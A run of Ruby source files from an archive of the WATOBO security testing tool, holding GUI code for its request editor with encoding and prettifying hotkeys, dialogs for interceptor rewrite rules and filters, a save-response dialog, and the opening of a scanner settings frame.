request = Watobo::Request.new raw_request end @editors.each do |name, item| e = item[:editor] r = e.setRequest(request) if r item[:tab_item].enable else item[:tab_item].disable end end rescue => bang puts bang puts bang.backtrace end end def highlight(pattern) # @text_edit.highlight(pattern) end def rawRequest @current.rawRequest end def parseRequest @current.parseRequest end def clear puts "* clear tabs" @editors.each do |name, item| e = item[:editor] r = e.clear item[:tab_item].disable end end def to_s s = @current.parseRequest puts "* [requestBox] .to_s" # puts s # puts s.class # puts s.empty? s end def initialize(owner, opts) super(owner,opts) @event_dispatcher_listeners = Hash.new @last_editor = nil @tab = FXTabBook.new(self, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) @tab.connect(SEL_COMMAND){ @current = @editors.to_a[@tab.current][1][:editor] unless @last_editor.nil? last_request = @last_editor.rawRequest @current.setRequest(last_request) end @last_editor = @editors.to_a[@tab.current][1][:editor] #puts @current.class } @editors = {} @current = nil add_editor("Text") do |frame| Watobo::Gui::RequestEditor.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) end add_editor("Table") do |frame| Watobo::Gui::TableEditorFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) end @current = @editors.first[1][:editor] end private def add_editor(tab_name, &b) tab_item = FXTabItem.new(@tab, tab_name, nil) frame = FXVerticalFrame.new(@tab, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) editor = yield(frame) if block_given? @editors[tab_name.to_sym] = { :editor => editor, :tab_item => tab_item } editor.subscribe(:hotkey_ctrl_enter){ notify(:hotkey_ctrl_enter) } editor.subscribe(:error) { |msg| notify(:error, msg) } end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end end endwatobo-1.0.1/lib/watobo/gui/request_editor.rb000077500000000000000000000225231366346341400212350ustar00rootroot00000000000000# @private require 'watobo/gui/simple_text_view' module Watobo #:nodoc: all module Gui class RequestEditor < SimpleTextView #alias_method :setRequest, :setText def setRequest(request) @request = request.copy rc = request.copy if rc.has_body? if rc.is_xml? doc = Nokogiri.XML(rc.body) rc.set_body doc.to_xml elsif rc.is_json? begin jb = JSON.parse(rc.body) rc.set_body JSON.pretty_generate jb rescue => bang puts bang if $DEBUG rc = request.copy end end end setText(rc) end def initialize(owner, opts) super(owner, opts) @keystate = true @request = nil @textbox.textStyle -= TEXT_WORDWRAP @textbox.editable = true @markers = [] @textbox.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| cpos = sender.cursorPos pos = sender.selStartPos len = sender.selEndPos - pos if len == 0 i = @textbox.text.index("\n\n") unless i.nil? pos = i + 2 len = @textbox.text.length - pos end end string2decode = len > 0 ? sender.extractText(pos, len) : '' string2decode.extend Watobo::Mixin::Transcoders fp_submenu = FXMenuPane.new(self) do |sub| eh = FXMenuCommand.new(sub, "File") eh.connect(SEL_COMMAND) { insf = FXFileDialog.getOpenFilename(self, "Select file to insert", nil) if insf != "" then if File.exist?(insf) then # puts "Inserting #{insf}" sender.insertText(cpos, "%%File.read('#{insf}').encode('UTF-8').force_encoding('BINARY')%%") highlight_markers end end } eh = FXMenuCommand.new(sub, "Clipboard Text") eh.connect(SEL_COMMAND) { sender.insertText(cpos, '%%getDNDData(FROM_CLIPBOARD, FXWindow.stringType).strip%%') highlight_markers } end FXMenuCascade.new(menu_pane, "Dynamic Content", nil, fp_submenu) FXMenuSeparator.new(menu_pane) fp_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "JSON (ctrl-j)") target.connect(SEL_COMMAND) { begin jb = JSON.parse(string2decode) out = JSON.pretty_generate jb @textbox.replaceText(pos, len, out) rescue => bang out = "Could prettify response :(\n\n" out << bang.to_s end } target = FXMenuCommand.new(sub, "XML (ctrl-x)") target.connect(SEL_COMMAND) { begin text = Nokogiri.XML(string2decode, &:noblanks).to_xml #replace_text(sender, doc.to_xml) @textbox.replaceText(pos, len, text) rescue => bang puts bang end } end FXMenuCascade.new(menu_pane, "Prettify", nil, fp_submenu) addStringInfo(menu_pane, sender) addDecoder(menu_pane, sender) addEncoder(menu_pane, sender) menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end @textbox.connect(SEL_REPLACED, method(:onTextChanged)) @textbox.connect(SEL_DELETED, method(:onTextChanged)) # KEY_Return # KEY_Control_L # KEY_Control_R # KEY_s @ctrl_pressed = false @textbox.connect(SEL_KEYPRESS) do |sender, sel, event| @keystate = false if event.code == KEY_Control_L or event.code == KEY_Control_R @ctrl_pressed = true @keystate = true elsif event.code == KEY_Alt_R @ctrl_pressed = false @keystate = true # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) elsif event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [" - Send Request", " - Encode Base64", " - Decode Base64", " - Encode URL", " - Decode URL", " - Prettify JSON" ].each do |hk| FXMenuCaption.new(menu_pane, hk) end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end elsif @ctrl_pressed if event.code == KEY_Return notify(:hotkey_ctrl_enter) @keystate = true # special handling of KEY_Return, because we don't want a linebreak in textbox. else notify(:hotkey_ctrl_f) if event.code == KEY_f notify(:hotkey_ctrl_s) if event.code == KEY_s pos = @textbox.selStartPos len = @textbox.selEndPos - pos # if nothing is selected we asssume that conversion/beautifying should be # performed on full body if len == 0 i = @textbox.text.index("\n\n") unless i.nil? pos = i + 2 len = @textbox.text.length - pos end end unless len == 0 text = @textbox.extractText(pos, len) rptxt = case event.code when KEY_u CGI::escape(text) when KEY_h CGI::escapeHTML(text) when KEY_H CGI::unescapeHTML(text) when KEY_b Base64.strict_encode64(text) when KEY_U CGI::unescape(text) when KEY_B Base64.decode64(text) when KEY_j begin jb = JSON.parse(text) out = JSON.pretty_generate jb rescue => bang puts bang out = text end out when KEY_z #TODO: Implement UNDO and so a history when KEY_x out = text begin # binding.pry out = Nokogiri.XML(text, &:noblanks).to_xml puts out rescue => bang out = text end out else text end text = normalizeText(rptxt) @textbox.replaceText(pos, len, text) # BUG: setSelection deleted replaced text??? #@textbox.setSelection(pos, text.length) end @keystate = false end else #puts "%04x" % event.code @keystate = false end @keystate end @textbox.connect(SEL_KEYRELEASE) do |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R end end def parseRequest begin return @textbox.to_request rescue SyntaxError, LocalJumpError, NameError => bang puts bang puts bang.backtrace # puts bang.backtrace if $DEBUG notify(:error, "#{$!}") rescue => bang puts bang notify(:error, "Could not parse request: #{$!}") end return nil end private def highlight_markers pattern = '(%%.*?%%)' @markers = highlight(pattern) end def onTextChanged(sender, sel, changed) begin dummy = changed.ins dummy += changed.del pos = changed.pos highlight_markers @textbox.setCursorPos(pos) # else # @markers.each do |start, len| # if pos >= start and pos <= start + len then # @markers = highlight(pattern) # @textbox.setCursorPos(pos) # break # end # end # end notify(:text_changed) rescue => bang puts "!!!ERROR: onTextChanged" puts bang end end end # -> # module Watobo::Gui end end watobo-1.0.1/lib/watobo/gui/rewrite_filters_dialog.rb000066400000000000000000000274411366346341400227300ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class FilterTableCtrl < FXHorizontalFrame attr_accessor :target def initialize(owner,target = nil, opts) @target = target super owner, opts matrix = FXMatrix.new(self, 4, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) %w( Location Match Pattern Flags ).each do |l| FXLabel.new(matrix, l) end @locations_combo = FXComboBox.new(matrix, 10, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK) #@filterCombo.width =200 @locations_combo.numVisible = 0 @locations_combo.numColumns = 10 @locations_combo.editable = false @locations_combo.connect(SEL_COMMAND){} @match_type_combo = FXComboBox.new(matrix, 10, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK) #@filterCombo.width =200 @match_type_combo.numVisible = 0 @match_type_combo.numColumns = 10 @match_type_combo.editable = false @match_type_combo.connect(SEL_COMMAND){} @pattern_txt = FXTextField.new(matrix, 20, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) @flags_combo = FXComboBox.new(matrix, 10, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK) #@filterCombo.width =200 @flags_combo.numVisible = 0 @flags_combo.numColumns = 10 @flags_combo.editable = false @flags_combo.connect(SEL_COMMAND){} frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) top_btn_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @del_btn = FXButton.new(top_btn_frame, "Del" , nil, nil) @del_btn.enable @del_btn.connect(SEL_COMMAND){ delete_filter } # @edit_btn = FXButton.new(top_btn_frame, "Edit ..." , nil, nil) # @edit_btn.enable # @edit_btn.connect(SEL_COMMAND){ delete_filter } @up_btn = FXButton.new(top_btn_frame, "Up" , nil, nil) @up_btn.enable @down_btn = FXButton.new(top_btn_frame, "Down" , nil, nil) @down_btn.enable add_btn_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @add_btn = FXButton.new(add_btn_frame, "Add ..." , nil, nil, ) @add_btn.enable @add_btn.connect(SEL_COMMAND){ add_filter } end private def init_handlers() end def add_match_type(l) @match_type_combo.appendItem(l.to_s, l) @match_type_combo.numVisible = @match_type_combo.numItems end def add_location(l) @locations_combo.appendItem(l.to_s, l) @locations_combo.numVisible = @locations_combo.numItems end def add_flag(l) @flags_combo.appendItem(l.to_s, l) @flags_combo.numVisible = @flags_combo.numItems end def delete_filter @target.delete_current_row if @target.respond_to? :delete_current_row end def add_filter return false if @target.nil? #TODO: Add some checks if filter is ok location = @locations_combo.getItemData(@locations_combo.currentItem) pattern = @pattern_txt.text match_type = @match_type_combo.getItemData(@match_type_combo.currentItem) flag = @flags_combo.getItemData(@flags_combo.currentItem) prefs = { :match_type => match_type, :flags => ( flag != :none ) ? [flag] : [] } filter = case location when :url Watobo::Interceptor::UrlFilter.new(pattern, prefs) when :method Watobo::Interceptor::MethodFilter.new(pattern, prefs) when :url_parms Watobo::Interceptor::HttpParmsFilter.new(pattern, prefs) when :status Watobo::Interceptor::StatusFilter.new(pattern, prefs) when :flags Watobo::Interceptor::FlagFilter.new('', prefs) end @target.add_filter filter end end class RequestFilterCtrl < FilterTableCtrl def initialize(owner, target, opts) super owner, target, opts add_location :url add_location :method #add_location :header #add_location :cookie add_location :url_parms add_match_type :match add_match_type :not_match add_flag :none add_flag :request end end class ResponseFilterCtrl < FilterTableCtrl def initialize(owner, target, opts) super owner, target, opts # add_location :body # add_location :header add_location :status add_location :header add_location :flags add_match_type :match add_match_type :not_match add_flag :none add_flag :request end end class FilterTable < FXTable attr :filters def add_filter(filter) @filters << filter add_filter_row(filter) end def get_current_filter puts self.currentRow end def delete_row_by_index(index) return false if index < 0 return false if index > self.numRows-1 @filters.delete_at index self.clearItems init_columns @filters.each do |r| add_filter_row r end adjust_cell_width self.selectRow self.currentRow if self.currentRow >= 0 true end def delete_current_row i = self.currentRow return false if i < 0 delete_row_by_index i end def initialize( owner, filters=[], opts={} ) @event_dispatcher_listeners = Hash.new parms = { :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2 } parms.update opts super(owner, parms) self.extend Watobo::Subscriber self.setBackColor(FXRGB(255, 255, 255)) self.setCellColor(0, 0, FXRGB(255, 255, 255)) self.setCellColor(0, 1, FXRGB(255, 240, 240)) self.setCellColor(1, 0, FXRGB(240, 255, 240)) self.setCellColor(1, 1, FXRGB(240, 240, 255)) @columns=Hash.new @filters = [] @filters.concat filters add_column "Location", 80 add_column "Match", 80 add_column "Pattern", 80 add_column "Flags", 80 init_columns @filters.each do |r| add_filter_row r end adjust_cell_width self.connect(SEL_SELECTED){|sender,sel,pos| self.selectRow pos.row # notify(:filter_selected, @filters[pos.row]) } end private def add_filter_row(filter) return false if filter.nil? row_index = self.getNumRows self.appendRows(1) self.rowHeader.setItemJustify(row_index, FXHeaderItem::RIGHT) self.setRowText(row_index, (row_index+1).to_s) index = @columns[:location][:order] self.setItemText(row_index, index, filter.name) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:match][:order] self.setItemText(row_index, index, filter.match_type.to_s) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:flags][:order] self.setItemText(row_index, index, filter.flags.join(",")) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:pattern][:order] self.setItemText(row_index, index, filter.pattern) self.getItem(row_index, index).justify = FXTableItem::LEFT end def add_column(name, width, order=0) o = ( order == 0 ) ? @columns.length : order @columns[name.downcase.to_sym] = { :name => name, :width => width, :order => o } end def adjust_cell_width() begin self.rowHeader.width = 30 #self.fitColumnsToContents(0) @columns.each_with_index do |v,i| self.setColumnWidth(i, v[1][:width]) end rescue => bang puts "!!!ERROR: adjustCellWidth" puts bang puts bang.backtrace end end def init_columns self.setTableSize(0, @columns.length) self.visibleRows = 5 self.visibleColumns = @columns.length @columns.sort_by{|k,v| v[:order] }.each_with_index do |v,i| self.setColumnText( i, v[1][:name] ) end end end class RequestFilterTable < FilterTable def initialize(owner, opts={}) super owner, opts add_column "Action", 50 add_column "Location", 80 add_column "Pattern", 80 add_column "Content", 80 add_column "Filter", 80 init_columns adjust_cell_width end end class RequestFilterDialog < FXDialogBox include Responder def filter f = Watobo::Interceptor::FilterChain.new f.set_filters @table.filters f end def initialize(owner, rule, settings = {} ) super(owner, "Request Rule Filter", DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 650, :height => 300) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @table = FilterTable.new(@main_frame, rule.filters) @table_ctrl = RequestFilterCtrl.new(@main_frame, @table, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK) buttons_frame = FXHorizontalFrame.new(@main_frame, :opts => LAYOUT_FILL_X|LAYOUT_BOTTOM) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) getApp().stopModal(self, 1) self.hide() return 1 end end class ResponseFilterDialog < FXDialogBox include Responder def filter f = Watobo::Interceptor::FilterChain.new f.set_filters @table.filters f end def initialize(owner, rule, settings = {} ) super(owner, "Response Rule Filters", DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 650, :height => 300) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @table = FilterTable.new(@main_frame, rule.filters) @table_ctrl = ResponseFilterCtrl.new(@main_frame, @table, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK) buttons_frame = FXHorizontalFrame.new(@main_frame, :opts => LAYOUT_FILL_X|LAYOUT_BOTTOM) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) getApp().stopModal(self, 1) self.hide() return 1 end end end endwatobo-1.0.1/lib/watobo/gui/rewrite_rules_dialog.rb000066400000000000000000000267361366346341400224200ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class RulesTableCtrl < FXHorizontalFrame attr_accessor :target def initialize(owner,target = nil, opts) @target = target super owner, opts matrix = FXMatrix.new(self, 4, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) %w( Action Location Pattern Content).each do |l| FXLabel.new(matrix, l) end @actions_combo = FXComboBox.new(matrix, 10, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK) #@filterCombo.width =200 @actions_combo.numVisible = 0 @actions_combo.numColumns = 10 @actions_combo.editable = false @actions_combo.connect(SEL_COMMAND){} @locations_combo = FXComboBox.new(matrix, 10, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK) #@filterCombo.width =200 @locations_combo.numVisible = 0 @locations_combo.numColumns = 10 @locations_combo.editable = false @locations_combo.connect(SEL_COMMAND){} @pattern_txt = FXTextField.new(matrix, 20, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) @content_txt = FXTextField.new(matrix, 20, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) top_btn_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @del_btn = FXButton.new(top_btn_frame, "Del" , nil, nil) @del_btn.enable @del_btn.connect(SEL_COMMAND){ delete_rule } # @edit_btn = FXButton.new(top_btn_frame, "Edit ..." , nil, nil) # @edit_btn.enable # @edit_btn.connect(SEL_COMMAND){ delete_rule } @up_btn = FXButton.new(top_btn_frame, "Up" , nil, nil) @up_btn.enable @down_btn = FXButton.new(top_btn_frame, "Down" , nil, nil) @down_btn.enable @filter_btn = FXButton.new(top_btn_frame, "Filter" , nil, nil) @filter_btn.enable @filter_btn.connect(SEL_COMMAND){ open_filter_dialog } add_btn_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @add_btn = FXButton.new(add_btn_frame, "Add ..." , nil, nil, ) @add_btn.enable @add_btn.connect(SEL_COMMAND){ add_rule } end private def init_handlers() end def clear_actions @actions_combo.clearItems() end def add_action(a) @actions_combo.appendItem(a.to_s, a) @actions_combo.numVisible = @actions_combo.numItems end def add_location(l) @locations_combo.appendItem(l.to_s, l) @locations_combo.numVisible = @locations_combo.numItems end def delete_rule @target.delete_current_row if @target.respond_to? :delete_current_row end def add_rule return false if @target.nil? #TODO: Add some checks if rule is ok @target.add_rule Watobo::Interceptor::CarverRule.new(:action => @actions_combo.getItemData(@actions_combo.currentItem), :location => @locations_combo.getItemData(@locations_combo.currentItem), :pattern => @pattern_txt.text, :content => @content_txt.text, :filter => nil ) end def open_filter_dialog end end class RequestRulesCtrl < RulesTableCtrl def initialize(owner, target, opts) super owner, target, opts add_action :rewrite add_action :flag add_location :url add_location :body add_location :header add_location :cookie add_location :http_parm end def open_filter_dialog rule = @target.current_rule return false if rule.nil? dlg = Watobo::Gui::RequestFilterDialog.new( self, rule ) if dlg.execute != 0 then # TODO: Apply interceptor settings rule.set_filter dlg.filter @target.reset_table end end end class ResponseRulesCtrl < RulesTableCtrl def initialize(owner, target, opts) super owner, target, opts add_action :rewrite add_location :body add_location :header add_location :replace_all end def open_filter_dialog rule = @target.current_rule return false if rule.nil? dlg = Watobo::Gui::ResponseFilterDialog.new( self, rule ) if dlg.execute != 0 then # TODO: Apply interceptor settings rule.set_filter dlg.filter @target.reset_table end end end class RulesTable < FXTable attr :rules def add_rule(rule) @rules << rule add_rule_row(rule) end def current_rule return nil if self.currentRow < 0 return @rules[self.currentRow] end def delete_row_by_index(index) return false if index < 0 return false if index > self.numRows-1 @rules.delete_at index self.clearItems reset_table true end def reset_table init_columns @rules.each do |r| add_rule_row r end adjust_cell_width self.selectRow self.currentRow if self.currentRow >= 0 end def delete_current_row i = self.currentRow return false if i < 0 delete_row_by_index i end def initialize( owner, rules=[], opts={} ) @event_dispatcher_listeners = Hash.new parms = { :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2 } parms.update opts super(owner, parms) self.extend Watobo::Subscriber self.setBackColor(FXRGB(255, 255, 255)) self.setCellColor(0, 0, FXRGB(255, 255, 255)) self.setCellColor(0, 1, FXRGB(255, 240, 240)) self.setCellColor(1, 0, FXRGB(240, 255, 240)) self.setCellColor(1, 1, FXRGB(240, 240, 255)) @columns=Hash.new @rules = [] @rules.concat rules add_column "Action", 50 add_column "Location", 80 add_column "Pattern", 80 add_column "Content", 80 add_column "Filter", 80 init_columns @rules.each do |r| add_rule_row r end adjust_cell_width self.connect(SEL_SELECTED){|sender,sel,pos| self.selectRow pos.row # notify(:rule_selected, @rules[pos.row]) } end private def add_rule_row(rule) row_index = self.getNumRows self.appendRows(1) self.rowHeader.setItemJustify(row_index, FXHeaderItem::RIGHT) self.setRowText(row_index, (row_index+1).to_s) index = @columns[:action][:order] self.setItemText(row_index, index, rule.action_name) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:location][:order] self.setItemText(row_index, index, rule.location_name) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:pattern][:order] self.setItemText(row_index, index, rule.pattern_name) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:content][:order] self.setItemText(row_index, index, rule.content_name) self.getItem(row_index, index).justify = FXTableItem::LEFT index = @columns[:filter][:order] self.setItemText(row_index, index, rule.filter_name) self.getItem(row_index, index).justify = FXTableItem::LEFT end def add_column(name, width, order=0) o = ( order == 0 ) ? @columns.length : order @columns[name.downcase.to_sym] = { :name => name, :width => width, :order => o } end def adjust_cell_width() begin self.rowHeader.width = 30 #self.fitColumnsToContents(0) @columns.each_with_index do |v,i| self.setColumnWidth(i, v[1][:width]) end rescue => bang puts "!!!ERROR: adjustCellWidth" puts bang puts bang.backtrace end end def init_columns self.setTableSize(0, @columns.length) self.visibleRows = 5 self.visibleColumns = @columns.length @columns.sort_by{|k,v| v[:order] }.each_with_index do |v,i| self.setColumnText( i, v[1][:name] ) end end end class RequestRulesTable < RulesTable def initialize(owner, opts={}) super owner, opts add_column "Action", 50 add_column "Location", 80 add_column "Pattern", 80 add_column "Content", 80 add_column "Filter", 80 init_columns adjust_cell_width end end class RewriteRulesDialog < FXDialogBox include Responder def request_rules @request_rules_table.rules end def response_rules @response_rules_table.rules end def initialize(owner, settings = {} ) super(owner, "Rewrite Rules", DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 650, :height => 610) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) init_request_rules(@main_frame) init_response_rules(@main_frame) buttons_frame = FXHorizontalFrame.new(@main_frame, :opts => LAYOUT_FILL_X|LAYOUT_BOTTOM) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) getApp().stopModal(self, 1) self.hide() return 1 end def init_request_rules(owner) gbframe = FXGroupBox.new(owner, "Request Rules", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) @request_rules_table = RulesTable.new(frame, Interceptor::RequestCarver.rules) @request_rules_ctrl = RequestRulesCtrl.new(gbframe, @request_rules_table, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK) end def init_response_rules(owner) gbframe = FXGroupBox.new(owner, "Response Rules", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) @response_rules_table = RulesTable.new(frame, Interceptor::ResponseCarver.rules) @response_rules_ctrl = ResponseRulesCtrl.new(gbframe, @response_rules_table, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK) end end end endwatobo-1.0.1/lib/watobo/gui/save_chat_dialog.rb000066400000000000000000000104721366346341400214500ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class SaveChatDialog < FXDialogBox class Sender < Watobo::Session def initialize() @project = Watobo::Gui.project super(@project.object_id, @project.getScanPreferences()) end def send_request(new_request, opts = {} ) prefs = { :run_login => false, :update_csrf_tokens => false } prefs.update opts id = 0 if prefs[:run_login ] == true puts prefs.to_yaml puts "Scanner Settings:" puts Watobo::Conf::Scanner.to_h.to_yaml runLogin( prefs[:login_chats], prefs) end #if prefs[:update_session ] == true and unless prefs[:update_csrf_tokens] == true prefs[:csrf_requests] = [] prefs[:csrf_patterns] = [] end new_request.extend Watobo::Mixin::Parser::Web10 new_request.extend Watobo::Mixin::Shaper::Web10 begin test_req, test_resp = self.doRequest(new_request, prefs) rescue => bang puts bang end return test_req,test_resp end end include Responder def filename @filename_txt.text end def initialize(owner, chat, prefs={}) raise ArgumentError, "Need Chat Object" unless chat.respond_to? :request super(owner, "Save Response", :opts => DECOR_ALL) @chat = chat @sender = Sender.new @response = chat.response FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @path = Watobo.workspace_path main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame,"Response:") @reload_btn = FXButton.new(frame, "Reload", nil, self, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_CENTER_Y|LAYOUT_SIDE_RIGHT) @response_viewer = Watobo::Gui::ResponseViewer.new(main_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y) @response_viewer.setText(@response) @reload_btn.connect(SEL_COMMAND){ s,a = @sender.send_request(@chat.request) @response = a @response.extend Watobo::Mixin::Parser::Web10 @response.extend Watobo::Mixin::Shaper::Web10 @response_viewer.setText(@response) } frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Save To:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @filename_txt = FXTextField.new(frame, 25, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) @select_btn = FXButton.new(frame, "Select") @select_btn.connect(SEL_COMMAND){ select_target_file } if @chat.respond_to? :response @select_btn.enable @filename_txt.enable else @select_btn.disable @filename_txt.disable end buttons = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) accept = FXButton.new(buttons, "&Save", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) accept.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end private def select_target_file() file = @chat.request.file file = "chat.txt" if file.strip.empty? dst_file = File.join(@path, file) filename = FXFileDialog.getSaveFilename(self, "Select Destination File", dst_file) if filename != "" then @filename_txt.text = filename end end def updateFields() # @sites_combo.handle(self, FXSEL(SEL_UPDATE, 1), nil) end def onAccept(sender, sel, event) begin f = @filename_txt.text if f != '' @path = File.dirname(f) if @response.has_body? File.open(f,"wb"){ |fh| fh.print @response.body } end end status = 1 rescue => bang puts bang status = 0 ensure getApp().stopModal(self, 1) self.hide() return status end end end end end watobo-1.0.1/lib/watobo/gui/scanner_settings_dialog.rb000066400000000000000000000437331366346341400230720ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class ScannerSettingsFrame < FXVerticalFrame def getSettings() settings = Hash.new settings[:max_parallel_checks] = @max_par_checks.value settings[:smart_scan] = @enable_smart_scan.checked? settings[:run_passive_checks] = @enable_passive_checks.checked? settings[:ignore_server_errors] = @ignore_server_errors.checked? settings[:scanlog_dir] = '' if @log_scan_cb.checked? then settings[:scanlog_dir] = @scanlog_dir_dt.value end dummy = [] @nup_list.each do |nup| dummy.push nup.data end settings[:non_unique_parms] = dummy dummy = [] @exp_list.each do |exp| dummy.push exp.data end settings[:excluded_parms] = dummy dummy = [] @cep_list.each do |exp| dummy.push exp.data end settings[:custom_error_patterns] = dummy settings[:dns_sensor] = @dns_dt.value.strip 